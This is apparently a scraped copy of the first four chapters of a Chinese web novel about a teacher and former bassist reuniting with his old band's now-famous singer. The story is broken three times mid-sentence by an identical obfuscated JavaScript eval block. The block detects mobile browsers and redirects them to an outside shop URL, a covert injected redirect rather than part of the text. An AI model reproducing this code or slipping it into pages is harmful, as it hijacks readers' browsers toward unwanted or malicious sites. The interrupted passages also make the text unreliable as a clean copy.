《夜这星》 1. 第一章 俞沅来鲤州开演唱会,开唱时间就在后天晚上,李萤心想要一张票。 黄牛票炒到几千一张,李萤心不愿当那冤大头,但似乎别无他法。 其实原本他也是有机会得到票的,甚至他不需要在开票的时候苦哈哈地守着购票APP拼手速,也不用指望靠参与什么抽奖活动荣获一份好运。 俞沅本人在前两天刚给他发了微信,问:哥,好久不见,我最近开巡演,刚好在鲤州,你有空过来玩吗? 李萤心收到信息的时候正在班上看晚自习,他是语文老师,几乎没有学生会上讲台来问语文问题,但他在看到信息后仍然制造出一种他很忙碌的假象,把屏幕熄了,手机扔讲台上,双手背到身后板起一张脸开始巡堂。 巡堂过程中抓获偷看小说的学生一名,传纸条的学生两名,讲小话讲一半见他来就大言不惭声称自己是在讨论数学问题的学生两名。 挨个教育完,李萤心瞄了一眼墙上的挂钟,很好,已成功浪费二十分钟,他慢吞吞走回讲台,重新拿起手机,点开俞沅的对话框。 然后他回复:不好意思,刚刚在忙,才看到信息。 又说:最近年级安排了考试,我得监考,监考完还要改卷,可能没空去看,祝你巡演顺利^^ 发完这两句后他长出一口气,正想把手机放一边,屏幕一闪,俞沅竟然秒回了。 俞沅:嗯,好,打扰哥了。 搞什么,都成大明星了怎么还能秒回?李萤心在输入框里打了字又删,实在有点不知道要说什么,最后发了个可爱的猫猫头表情包过去,又补了句客套话:有空再一起吃饭啊。 俞沅依旧秒回:一定。 对话停在这里。 其实往上翻,两人也没多少聊天记录。逢年过节俞沅会发来祝福,祝福语看起来是网上复制的群发模板,李萤心也从网上复制另一句模板回复对方。 连续好几年的聊天记录都这样,李萤心再往上翻了翻,终于看到一条不太一样的消息。是三年多前的李萤心发过去的,他说小沅,我在家里翻出了些你的东西,你什么时候有空过来拿。俞沅没回。李萤心又说或者你给我个地址,我给你寄回去。俞沅还是没回。 三年多前,是他们乐队刚散伙没多久的时候。 原先他组乐队,一时兴起用尽花言巧语把俞沅拐来唱歌,跟人家说你给我当一辈子的主唱吧。结果这“一辈子”转瞬即逝,没过几年,也是李萤心对着俞沅说,玩乐队嘛,就是个玩字,人总归还是要收起玩心去做正事的。 李萤心还记得那天他专门约俞沅出来,两人坐在学校外奶茶店靠窗的位置,周围吵吵嚷嚷的,后面那桌的女生不知道讲到什么开心事,几个人哈哈哈地笑了好久。 俞沅问他:“你考虑清楚了吗?” 李萤心:“考虑清楚了。” 俞沅又问:“没有商量的余地了吗?” 李萤心不敢看他,用吸管搅着杯子里的饮料:“你也知道,最近发生太多事了,石头和陈悦他们都不想继续组了。” “你只在意他们想不想继续组对吗?” “就剩我们两个,这乐队也运转不起来啊。” 尔后是长久的沉默。很久以后俞沅站起身,垂下眼,轻声说:“……知道了哥,那我先回去了。” 然后俞沅往外走,李萤心先是看着他的背影,又把视线转回桌上,俞沅刚刚坐的位置上还摆着一杯只喝了几口的蓝莓气泡饮。气泡水放久了就不再冒泡了,就像俞沅这个人的痕迹在他的生活里很快就消散。 一晃都过去这么久了,他对那段时间的记忆其实没有变淡,只是刻意在回忆与现实间拉上一道帘,免得自己又忍不住想从真实的生活跳进幻梦之中。 从前他的手用来弹贝斯轮指,现在夹着粉笔写板书。过去的日子李萤心不愿细思了,现在的生活也挺好的,有一种脚踏实地的真实感。 只是没想到俞沅会主动联系他。 后来俞沅参加音乐综艺爆火、紧接着出歌、发专辑,这些李萤心自然都是知道的,甚至俞沅出的歌还是他以前给乐队写的,可除此之外,俞沅已经和自己没有太多关系了,他俩的关系顶多就是“以前认识的人”。 但想想也是,来到这里,总要客套一番邀请他去听演唱会的,这才算得上周到。 …… 李萤心拒绝人家的邀请时很干脆,谁知才过了两天,他又想要一张票了。 他本人确实不想去看俞沅的这场演唱会,但不是不想听俞沅唱歌,私下他给俞沅的歌点了不少小红心——当初就是喜欢听人家唱歌才连哄带骗地把人拉进乐队里。 如果俞沅不邀请他,他不忙的话说不定真会收张票去听听。 事实上去年李萤心就去了别的城市看过俞沅别的巡演。今年他听说俞沅要在鲤州开唱的时候十分惊讶,暗暗感慨小孩儿现在红到把小地方都变成了票仓。他也想过要去看的。 但被俞沅本人请去看,万一再要是碰上面……不管有没有机会碰上面,他都会觉得很尴尬。 他现下想要一张票,是为了班里一孩子。 今晚下班,李萤心从办公室里出来,遥遥望见整层楼就他们班的灯还亮着,那时离晚自习结束已经过了快一个小时,他以为又是值日生忘了关灯,走到班里,才看见一女生趴在桌子上哭,另一个女生在手足无措地安慰。 李萤心问出了前因后果,才知道原来正哭着那女生最近拼了命学习、连着两次考试成绩都突飞猛进,是因为她小姨许诺她只要考进年级前一百,就给她买她喜欢的歌手的演唱会门票。 她考到了,小姨也兑现了承诺,结果临要去看演唱会了,她妈妈知道了这事,认为这是在玩物丧志,强行把她的票给退了。 那名歌手不巧正是俞沅。 李萤心劝了几句,总之先把两个孩子劝回宿舍去了。他回到自己在学校对面租的公寓,神差鬼使地在各个平台搜起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742442|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了俞沅鲤州演唱会的门票转让信息。 学生的演出门票没了,那最简单粗暴的解决方法就是搞一张票给她。话虽如此,这解决方法在实际中的可行性却很低。 先不谈演唱会门票不是小卖部门口三两块一本的便利贴,真给学生一张票的话,人家该有多大的心理负担。就说人家家长都不愿意自己孩子去看演出,做老师的说几句鸡汤得了,没必要和家长对着干。再者说,万一学生拿着自己给的票去看了演出,中途出了什么事,那算谁的? 这些李萤心都知道,他就是随意看看。 一边看着各种二手交易信息,李萤心脑子里又回想起那学生哭得黯淡的脸,像下过雨的阴天。其实李萤心能理解的,对这孩子来说,这不是少看一次演唱会而已,是努力冲向终点之后好不容易捧起奖杯,奖杯被人狠狠砸碎。 何况看的还是俞沅的演唱会,抛开其他种种,李萤心觉得每个人如果有机会都应该在台下听俞沅唱歌。从前他就这么认为,俞沅的歌声也许被塞壬海妖赐福过,人们来到他的舞台下,才知道歌声也和酒一样能把人拉进让人晕头转向的幻境里。 ……想得有些远了。 李萤心倒是不缺那个买黄牛票的钱,但他认为没有此必要。不过他暂时还没有放弃想搞到一张票的想法,可能是夜深人静人容易不理性。 总之他给自己的行为又找了些理由,他想如果那学生想看的是别的偶像明星,他可能真是爱莫能助,可她想看的是俞沅,那么他多少也是有点人脉的。 当然他是不可能再厚着脸皮去问俞沅再要一张票。他打算问问别的朋友——其实除了俞沅,他和乐队其他人依旧保持还算紧密的联系,偶尔他们会一起见面吃个饭聊聊天。 要是朋友那里也没票,那就算了,明天再找那孩子好好聊聊,奖杯已经失去了,那么他希望自己能尽量让人家不要失去往前奔跑的勇气。 朋友很快回复了他。 他问的朋友是以前队里的吉他手陈悦,此人跟他一样回到鲤州当一名社畜。 陈悦:票我有啊,俞沅昨天问我来着,我说不要白不要,一下跟他要了好几张。而且刚好赠票也不用填实名信息。 陈悦:你等我会儿我研究一下怎么把票转赠给你。 啊。这么顺利吗?李萤心脑子转得有点慢,又开始想,那明天要用什么自然一点的方式把票给学生比较好? - 晚上十一点多,已经连轴转了十来天的俞沅难得在自己家里,他正在整理一些必要的生活用品,明天飞鲤州提前彩排。 只有亲朋好友才知道号码的私人手机嗡嗡振动,他接起来,听见陈悦有些着急的声音:“快快快,再给我发一张票,李萤心拐弯抹角跟我要的。” 俞沅坐在地板上,边上敞着一个大行李箱。他微微睁大了眼,起先张了张嘴没说出话,直到听筒里再次传来陈悦的“喂?”声,俞沅才有些磕巴道:“啊,好,好的……” 2. 第二章 第二天李萤心是花了好些功夫才把票交到那学生手上的。给票这个动作本身并没有什么难度,难的是过去自己心里那道坎。 再怎么说,给票不是他的分内事。 纠结了一整天,到晚自习看班时,李萤心还是决定把那学生叫出去。小姑娘叫徐斐然,被叫出去时慌张扫视前后左右桌,仿佛想要向同窗们求证自己是否犯了什么错。 李萤心在心里笑,但这几年的教师生涯让他练出来了,他脸色没什么变化,看着甚至还有些严肃。领着人到办公室之后,他拿了个快递文件袋给徐斐然:“下午门卫那边收到的。” 为了方便管理,三中不让学生把快递往学校寄。徐斐然听李萤心这么说,赶紧摆手:“老师我没买东西。” “上面写着你名字呢,”其实李萤心也怕说多了破功,不像平常那样多少要强调几句纪律,而是指着桌上一沓卷子,“行了,帮我把这套卷子拿去班上发了吧。” 徐斐然抱着卷子和文件袋懵懵然走了,李萤心长长出了口气。 文件袋里是他今天专程找地方取的票。除了票以外,还有一张打印出来的纸条,上面写了一段话,大约是“恭喜您在活动中获得俞沅巡演鲤州站门票一张”之类,落款是俞沅的某个站子名。 还好赠票和普票不同,不是非得扫码入场,也不要求实名,不然他也很难以这种方式将其再转赠给他人。 其实这伪装漏洞百出,但小孩哪怕意识到不对劲,顶多也是猜这是某位好友给她的惊喜,再怎么样也怀疑不到他这平时总没好脸色的老师头上去。 …… 前些天李萤心拿忙当拒绝俞沅邀约的借口,但那也不完全是谎话。最近年级安排了考试是假的,忙却是真的,高中班主任就没有不忙的,即便到了周六晚上,李萤心备好课改完作业准备看个电影,都能在刚选好要看的电影时接到家长来电。 于是李萤心不得不按下暂停,好言好语地和该位家长周旋将近一个小时。 等聊完,李萤心窝在沙发上,盯着投影屏幕上因暂停而保持着一个滑稽动作的电影主角放了会儿空,忽然没了往下看的心情。 他把投影关了,去洗漱,出来以后躺床上玩手机,看到朋友圈里好些人发了俞沅演唱会相关的动态。 徐斐然也发了,这小孩真去了,而且发朋友圈也没屏蔽他。李萤心往上滑动屏幕,一连好几条都是徐斐然发的。 李萤心把每一条视频都点开,看起来赠票的位置挺好,徐斐然并不需要对着大屏幕拍,手机镜头对着俞沅本人拍,即便放大了倍数看起来依然清晰。 但要是想从这些视频中听到俞沅的歌声则是一件难事,视频里基本只听得到徐斐然的尖叫或大声跟唱。 李萤心摇头,笑笑,继续随意地戳着屏幕,点开下一条视频来看—— 俞沅在唱他每次演唱会的保留曲目,他们乐队的第一首同名原创曲《夜这星》,放的伴奏一直是曾经录好的,这么多年来俞沅没有请过别的乐手在他的演出中为他进行现场伴奏。 俞沅由远及近走过来,视频画面开始晃,李萤心听到徐斐然喊得几乎破音:“卧槽俞沅走到我这边了!这也太近了!……他好像在看我!!!啊!!” 视频里的俞沅凝视着徐斐然的镜头。 尽管尖叫声盖过了俞沅的歌声,但李萤心知道俞沅在唱哪一句。 他唱的是“但年轻的流星不知道,它在最亮之后就将迎来坠落”。 李萤心产生了一种自己在和俞沅对视的错觉。隔着手机屏幕,在学生录下的视频中,李萤心时隔五年多,再次和俞沅目光相接。 十几秒后,俞沅垂下了眼,转过身去往舞台的另一边。这段视频也到此结束。 李萤心动作有些迟缓地将手机熄屏放到床头柜上,他翻了个身,把自己的脸埋进枕头里。 他心里有种说不上来的感觉。如果……拿了赠票去看演唱会的人是他本人呢? 算了不想了睡觉。 ……睡不着。 李萤心很难得失眠了。当班主任以后他每天六点半就要到班上,早已养成规律的作息,哪怕周末他也很少熬夜。然而这晚他翻来覆去毫无困意。 不知在黑暗中睁了多久的眼,手机铃声倏地响起,把李萤心吓了一个激灵。他将手机扒过来,眼睛不太适应屏幕的亮光,他微微眯着眼,看见来电显示是学校门卫室。 他心往下一坠,大半夜门卫打过来,别是学生遇到什么事了。他一边接电话一边坐起来:“喂?” “喂李老师,是这样,有一个应该是你的学生喝了酒来我们门卫室非要找你,我问他叫什么他不说,问他家长联系方式他也不说……你看看要不要过来处理一下?” 李萤心皱起眉:“……好,我现在过去,给您添麻烦了。” 挂掉电话,他看了一眼时间,凌晨2:16。 李萤心宽慰自己,现在这样总比睡得正香时被叫醒来要好点。迅速穿好衣服往外赶,学校门卫室离他住的公寓不过相隔一条马路,他一路小跑过去,途中不免开始想到底是哪个兔崽子那么大胆喝了酒还敢到学校来,是遇上了些什么事…… 很快他因担心学生而提起的心就放下了,但更加无法平静。 他离门卫室还有一小段路,隐约能看见一道熟悉的身影向他走来,这时他开始犹豫自己是否要向前。 他停顿了,但对方没有停止走向他,值夜的门卫大叔在后面试图拦截无果,那道身影就这样在李萤心面前放大再放大。 那人站定在了李萤心面前,李萤心甚至下意识退了一步。 两人就这么站在校门口旁边的大树下,路灯透过树影照下来,给人身上披上一层微芒。 随后李萤心听到门卫大叔喊着问他:“李老师,这你们班学生吗?” 李萤心显然还没搞明白现在是什么状况,但知道这时候否认会很麻烦,于是硬着头皮回了一句:“对的对的,是我们班的学生。”脑子里同时冒出一些不合时宜的念头,小沅你也没有很火,至少我们学校的门卫不认识你。 “那你看看什么情况,我刚问他什么他都不开口……” 门卫大叔抱怨了几句之后回到岗亭里,李萤心往四周张望,没看见什么摄影机,没看见跟过来的粉丝或其他人……他从公寓跑过来的路上也没遇见别的什么人。 看来俞沅没在搞什么节目,他这诡异的行踪也没被私生发现。 确认完这些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742443|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李萤心理应没有借口再左顾右盼,但不知怎的他没办法看向俞沅。 当初他与俞沅散得不算愉快,多年没有联系,如今处境天差地别,与这样的旧友在这莫名其妙的时刻重逢,很尴尬啊。 但总得说些什么吧。如同门卫大叔在电话里说的那样,他能闻见俞沅身上淡淡的酒气……找到他这儿来,是一些人类醉酒后的迷惑行为吗? 正纠结着要怎么开口问对方怎么回事,对方先扯了扯他的衣服下摆,顺道打破了沉默。 “你为什么不愿意来?”俞沅的声音听起来有点闷。 李萤心下意识抬头,终于看清了俞沅的脸,演唱会上的妆造早就卸了,俞沅的刘海乖顺地垂在额前,下半张脸被普通至极的蓝色医用口罩遮挡得严严实实,只露出了一双眼睛。 不久前,李萤心刚隔着屏幕注视过这双眼。 “什么……?”李萤心含含混混地问。 “你为什么不愿意来?”俞沅又重复了一遍,“演唱会。” - 六年前。 “你为什么不愿意来啊。”李萤心堵在俞沅宿舍门口。 眼看俞沅就要把门关上,李萤心眼疾手快把手伸进门缝里卡住。当然俞沅的反应速度要快些,怕真把人的手给夹烂了,赶紧松开门把手。 饶是如此也阻拦不了李萤心的鬼叫:“你要害我——” 俞沅:“……” 此时宿舍门已经开了一道能容李萤心钻进去的缝,他毫不犹豫地跟着俞沅进宿舍。此时俞沅宿舍里并无他人,李萤心颇为自来熟地拉过一把不知道是谁的椅子坐下,又开始了对俞沅的软磨硬泡:“你声音条件这么好,任何人没听到你唱歌我都会觉得是他们的损失。” 俞沅自顾自地从桌上拿起书,没搭理李萤心。 李萤心又道:“而且你不也喜欢我写的那几首歌吗,你来唱刚好啊!” 李萤心:“来嘛。” 李萤心:“好小沅——” 俞沅拿完书,终于看向这个已经缠了他一个多星期的学长。他唇角向下,抿了半天嘴,最后憋出一句话:“我觉得你有点没边界感,我说了不愿意就是不愿意,你还要追到我宿舍里来。” 结果李萤心说:“天呢,说了好长的一句话……小沅,你说话的声音也好好听,多说点。”李萤心说着,眼睛弯成一对弦月。 俞沅:“……” - 此时李萤心也在想,不是吧,专门追到学校里来,难道就因为他没去看演唱会吗?怎么想都不太合理。 发酒疯吧。李萤心努力回想了一番从前二人共处的时候,未能找到可以参考的记忆,因为从前俞沅并不饮酒,李萤心也没机会知道俞沅喝醉了酒什么样子。 今时不同往日,更何况刚开完演唱会,李萤心想俞沅多半是结束后和团队一起庆功喝大了。 李萤心皱了皱鼻子,又陪了个笑:“不是说了忙嘛……真不好意思啊。” 俞沅似乎对这个答案不满意,将他衣服布料捏到变形都没有要松开的意思。 李萤心:“你松一下手。” 俞沅摇头。 李萤心:“……” 又听见俞沅说:“我不。” 3. 第三章 看来是真醉了,否则俞沅不至于如此失态。在他们最熟的那段时间,俞沅都没有像这样过。 有时乐队演出结束,众人勾肩搭背和背后livehouse里的观众合影,俞沅一向蹲在他旁边,也揽着他的肩,但后来李萤心偶然再翻看到那些照片的时候,会看见俞沅的手指是蜷起来的,手离他的肩其实有一小段不仔细看看不出来的距离,没有真正碰上他。一般人会称这为绅士手。 俞沅是个非常有边界感的人,此时却扯着他的衣服不放。 但也仅限于此,俞沅仍旧避免了和李萤心有肢体接触,只是扯着衣服而已。 李萤心实在也不知该作何反应,好在突然一阵手机铃声响起,解救他于窘迫之中。 是俞沅的手机在响。俞沅虽然醉了,但有一定的意识。不过他没有如李萤心所愿,一只手仍保持着刚才扯衣服的动作,另一只手从口袋之中慢慢地摸出手机,眯着眼看屏幕,皱眉,然后把来电挂了。 李萤心:“……” 很快铃声再次响起,看俞沅又想要挂电话,这次李萤心抢先道:“万一有什么急事呢,你要不接一下?” 俞沅看了看李萤心,再看看手机屏幕,闷闷地“嗯”了一声。 电话接起来,由于不是外放,李萤心并不能听到对面在说什么,从俞沅几句回话推测,来电人可能是俞沅的经纪人之类。 俞沅对着手机那头的人说:“我不回去……我知道明天还有行程,但我不想回去,我就是不想……我不。”反复说着一些车轱辘话。 如果不在这种情况下,李萤心多半会装聋,可此时李萤心觉得自己不得不管这闲事,毕竟放任一个醉鬼捅出什么篓子的话他也难辞其咎。于是他试探性地问俞沅:“可以让我和对方讲一下吗?” 没想到出奇地顺利,俞沅还是从闷出一声“嗯”作为回应,但几乎是马上就把手机递给了李萤心。 但那只手就像黏在李萤心衣服上了,怎么也不肯松开。 李萤心就着这别扭的姿态,和俞沅面对面地,续上了这通电话:“喂,你好,请问是俞沅的经纪人吗?我是他的……”他斟酌了一下用词,“朋友来着,他应该是喝醉了,在我这里。” 对方显然愣了一下,对话有一瞬的停滞,在对方的“请问您是”的疑惑中,李萤心理所当然地自报了家门,没有说太多客套话,很有效率地告知对方俞沅的所在地。 说完这些之后李萤心能感觉到对方警惕的情绪很快被松了一口气的喜悦所替代:“太好了,刚才一直找不到他人,电话又一直不接,我们很怕他在外面闹出什么幺蛾子,在你身边我就放心了……” 不知对方是否只是在说一些社交辞令,虽然因为一些歌曲版权事宜,李萤心也和俞沅方的工作人员有过接触,但这么说未免太夸张。 正想着,俞沅伸手把手机抢回去了。 俞沅坚持说着“我不想回”,说完抿着嘴把电话挂了。俞沅的手机没贴防窥膜,从通话页面退出来之后,李萤心瞥见屏幕上是地图软件,上面显示着俞沅是从酒店步行至此的,走了六点多公里。 这真是……还好鲤州是小城市没有什么夜生活,不然这一路上但凡有一个人偶遇了俞沅并认出来他,再加上他这醉鬼状态,指不定真要闹出点什么。 李萤心又不知道该说什么了,结果看着钝钝的俞沅突然不合时宜地敏锐起来,他似乎捕捉到李萤心刚才匆匆的视线,原先的车轱辘话语库终于更新,这次他道:“我走了很久很久才找到你这里的……腿也很酸。”话中带着一丝委屈。 “你……”你为什么要来呢? 但李萤心没问出口,最终他说:“腿酸的话找个地方坐会儿吧。” 当然后来两人也没坐多久。 俞沅说完腿酸后,李萤心从口袋里掏出了面巾纸垫到了校门前的花坛上,两人坐下。其实去门卫室里坐更好,但李萤心怕门卫大叔打听,应对起来也麻烦,干脆就在外边待着。 六七公里的路程,醉鬼慢慢走过来可能要花一两个小时,但经纪人打车过来,在交通通畅的夜里只需十分钟。 在等待的十分钟里,李萤心和俞沅持续无话,直到经纪人终于来了,对方接连说了很多客套话,要把俞沅接回去。 俞沅犟起来,怎么都不肯松开抓着李萤心衣料的手,对着经纪人说了近乎央求的话:“把他一起带走好吗?” “他醉了,真的很不好意思。”经纪人露出苦笑。 这是喝了多少?是真的还醉着吧? 见经纪人无动于衷,俞沅又转向李萤心:“哥,跟我走吧,跟我走。” 李萤心是高中老师,又不是幼师,但此刻无法,只能将俞沅当小小孩看待,软下声耐着性子哄着:“我明天要上班呢,没法跟你走。” “那就别上班了。” 李萤心觉得这一切真的太荒谬了,他甚至怀疑如果他说出那句经典的“不上班你养我啊”的台词,俞沅会迅速接上一句“没问题”,所以他说:“我学生需要我。” 俞沅定定地看着李萤心,李萤心无端感觉那双眼前忽然起了雾。从见面开始就被俞沅捏在手里的衣物终于被松开了,李萤心下意识去抚平它,但抻了一会儿还是没能把它恢复平整。 俞沅重复李萤心的话:“他们需要你。” 随后他没再胡搅蛮缠,沉默地上了出租车。 那位不知叫什么的经纪人点着头陪着笑,又说了些抱歉的话,也上了车,和李萤心挥手作别。 李萤心长长地呼了一口气。 这晚后来李萤心虽然回了公寓,但彻底没有办法入睡,俞沅的突然到来让他平静的生活泛起涟漪,他无法自抑地想了很多,各种各样的想法让他的大脑超载。 唯一值得庆幸的是还在周末,不然他要拖着一副睁眼到天明的躯体去班上看早读……通宵,他很久没通宵了,但以前很经常这样。 和俞沅他们一起组乐队的时候,通宵是家常便饭,有时是因为演出完再吃完宵夜已经很晚,有时是为了抓住灵感彻夜写歌,有时甚至只是聊天就能聊整晚。 他还记得有一次他和陈悦就某首新歌的人声比例吵了个翻天,陈悦觉得只要旋律编曲听感好就行,又不是在做流行歌,人声本就不是音乐表达中最重要的部分。但李萤心坚持要让他们的主唱小沅多唱几段,他觉得小沅的声音是吸引听众的关键。吵到后面已经脱离了要探讨的问题本身,开始互相输出情绪,两个人各自聊得一肚子火,陈悦怒气冲冲离开了排练室。 那晚鼓手石含章不在,排练室里还坐着一个沉默了全程的俞沅。俞沅一向不怎么参与到这种辩论之中,他也不太会安慰人,当时他坐在李萤心对面,忽然随意地唱起了歌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742444|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Breathe breathe in the air,don''t be afraid to care……” 这是他们都很喜欢的乐队Pink Floyd的歌。 俞沅唱的时候腔调慵懒,身体随着节奏轻微摇动,仿佛融入了夜风的一呼一吸之中。 李萤心起初还火大着,但俞沅的声音或许触发了他的某种开关,他原本盘腿席地而坐,很快他爬起来,坐到排练室里的钢琴前,排练室里有一架施坦威。李萤心是贝斯手,但弹了二十年的钢琴,写歌的时候他大多还是依靠钢琴。 他卡进俞沅的某个停顿间隙,自然地接上了对方,将流淌的乐声垫在俞沅的歌声之下。 两人弹唱了一晚上钢琴版的Pink Floyd,直到手机屏幕上的时间跳到凌晨五点。 最后停下来的时候,李萤心趴在钢琴上,脸还冲着俞沅,他没说话,弯起眼笑。 俞沅问他:“还生气吗?” “哪有生气啊。”李萤心矢口否认。 俞沅则很认真说:“哥,其实你做你想做的音乐就可以了,不用特意为了突出我而改掉你本来的构想。你觉得我唱得好,但我觉得你写得好,你才是主要的,把我的声音当素材就好了……当然如果你本来就是想写让我唱很多的歌,那也按你想的来,我都听你的。” 李萤心哈哈大笑:“哑巴主唱难得大开金口,又说了这么多话,我不能不给面子还继续生气。” 俞沅:“……” 李萤心又说:“其实陈悦也没说错,我就是想多让你唱点,想让大家都听到你,有时候确实会忽略歌曲本身是否适合。但他戳破我,我就不想认。” 俞沅说:“我也想让别人都听到你。” 李萤心:“听什么,听我那被人忽略的贝斯声吗?” 俞沅:“……不想和你讲话了。” 李萤心:“哈哈哈哈。” 但俞沅最后还是认真回答了:“想让大家都听到你做的歌啊。” …… 本来都是些扔到角落积灰的模糊记忆了,今夜突然都清晰起来。这个晚上李萤心不管想什么都会忍不住拐到从前,他又回忆了很多琐碎的乐队记忆,主要是一些跟俞沅有关的,后来又开始试图分析俞沅今晚到底发什么酒疯,再后来脑子转不动了,但他仍机械地刷着社交平台上有关俞沅的动态。 不知道是什么时候睡过去的,总之他再睁眼的时候手机还在手里握着,屏幕上弹出几条未读微信提醒,其中有来自俞沅的。 李萤心晃了晃脑袋让自己清醒了一下,看到消息提醒他稍微做了个预判,猜想俞沅大概是要跟他说抱歉昨晚喝醉了给你添麻烦之类的客套话。 俞沅:昨晚确实喝醉了,对不起。 这话和李萤心料想的差不多,然而后面的话让李萤心大跌眼镜。 俞沅:但不是发酒疯,更多是酒壮怂人胆。 俞沅:到鲤州第一件事其实是去天后宫拜拜,大家以为我在给接下来的演出祈福,其实我问了妈祖要不要找你,扔了个圣杯,又加了个前置条件,说如果你拒绝见面的话,我要不要继续找你,还是扔了个圣杯。我来找你,是妈祖允许的。 俞沅:今晚我还在鲤州,能不能见一面呢? 俞沅:不是纯叙旧,其实我也有正事要说的。 4. 第四章 ……怎么连妈祖都搬出来了? 李萤心是土生土长闽省人,除了旅行和演出,一直长居省内,连上大学和读研去的都是离家不到一百公里的鹭州。在鹭州上大学时和几个朋友组了乐队,当乐队终于在他的软磨硬泡之下迎来一个常驻的主唱时,他所做的第一件事也是跑到当地的妈祖庙去还愿。 和整个乐队一起去的。 那年在妈祖像前掷杯所求是什么,结果又是什么,李萤心记不太清了,反正当时他满脑子乐队和音乐,问来问去多半也就是那些,能不能做出好歌啦,能不能火之流。 但他却奇异地记得自己问了俞沅什么。俞沅并非本省人,没有同他一样的信仰,却也恭恭敬敬地参拜了妈祖娘娘。只是没掷杯也没求签。 从妈祖庙出来,在边上的小店吃沙茶面时,李萤心问俞沅:“你刚才怎么没问妈祖问题啊?” “没什么要问的。”俞沅慢条斯理地将一口面咽了下去,又喝了点水,才开口。 他话只说到这里,陈悦挑了挑眉:“好跩。” 李萤心也应和道:“好跩。” 等吃完东西往外走,几人在榕树荫下前行,不知怎的就变成了陈悦和石含章两人走得很快甩他们一大截的局面。俞沅和李萤心并肩,突然说:“没问妈祖问题不是因为跩。” “嗯?” 俞沅说:“我在做的事都是我想做的事,不论合不合适、前景好不好,我都会做……所以感觉不用问。” 李萤心至今都记得,他稍仰头,看见了与坚定的发言不相符的、俞沅那发红的耳朵。 李萤心问:“那你想做的事是?” 俞沅:“想……把夜这星做好吧。” “夜这星”是他们的乐队名。 李萤心展颜:“那我们的理想和目标是一样的。” “嗯,”俞沅点点头,“但是这种话,没做到之前说就很傻逼……所以不想说给他们听。” 李萤心个头比俞沅要矮一些,此刻伸长了手也要去做拍拍俞沅肩膀的动作,他笑得见牙不见眼:“但你说给了我听。” …… 思绪收回。几年后的如今,李萤心对着俞沅发来的信息犹豫起来。 现下人家说得很直白,搬出了妈祖,又说有正事——尽管李萤心不知他们二人之间有什么正事可谈。 但俞沅都说到这个份上了,李萤心觉得不应该再下了人面子。何况当初虽然不欢而散,可李萤心对他又没什么恨,先前不想去看人家的演唱会,也仅出于一种不该在别人功成名就之后再去攀关系的微妙,加之以为对方只是在客套。 非要说的话,李萤心也不是没幻想过有天能重聚首。说实话,昨晚不管俞沅是发酒疯还是如何,这样跋涉而来见他,李萤心在过了最初那段思绪混乱的时期后,竟然对此感到一丝窃喜——俞沅来鲤州之后所说所做的种种,也许不全是礼数周全的寒暄。 李萤心下定决心,回了个“好”字。 于是敲定了碰面时间。周日是学生返校日,傍晚六点二十分第一节晚自习,李萤心回班上点了人数又处理完几件紧急事项后,没像往常那样待到晚自习结束才回去,跟其他科任老师打了招呼以后提前离开,打了车去俞沅说的私房菜馆。 到了地方,被服务生带到包间,进门后李萤心和俞沅打招呼:“不好意思刚去了一趟班上……” 边说边悄悄找自己该落座之处,发现很难有更多选择。 包间里头只坐着俞沅一个人,桌子却是大圆桌,桌上靠近俞沅坐的地方摆了不多不少够两个人吃的几道菜,菜品和俞沅只占据大桌子的一角,显得不太和谐。 也因此李萤心不太好坐到没上菜的另一端。 俞沅此时也拉开了自己身边的椅子,示意他坐到边上来。 俞沅说:“我也是刚来。” 李萤心有些别扭,不过表面上不太显出来,他走过去坐下,看向桌上的菜——这样可以避免直接和俞沅对上目光——然后故作自然道:“刚好饿了。” 这么说着却没有马上动筷子。 桌上有俞沅绝对不会吃但李萤心喜欢的蚵仔煎。李萤心一时之间竟不知道该感慨“他居然记得我喜欢吃什么”还是“我居然记得他不喜欢吃什么”。 想了想,李萤心还是补了一句:“好久不见,小沅。” 同时他用余光偷偷端详俞沅,不知道是否因为包间的私密性还可以,俞沅没有全副武装。李萤心能认出来俞沅身上套的是他代言的品牌当季的新装,款式经典的工装外套,之前站姐拍过他穿这套的图,转发评论里都是盛赞,说像青春男大。发型也是抓过的……或许是刚参加完什么活动。 俞沅转过头来,将偷瞄的李萤心逮个正着。李萤心吓了一跳,赶紧撇过脸去,却又不知道自己有什么好躲的。 不过俞沅只是说:“昨晚刚见过。” 李萤心:“……也是。” 俞沅:“给你添了麻烦。” 李萤心:“哪里。” 实在过于尴尬了。李萤心开始给自己夹菜,为了缓和气氛,饭间李萤心主动找话题:“以前你好像不喝酒。” 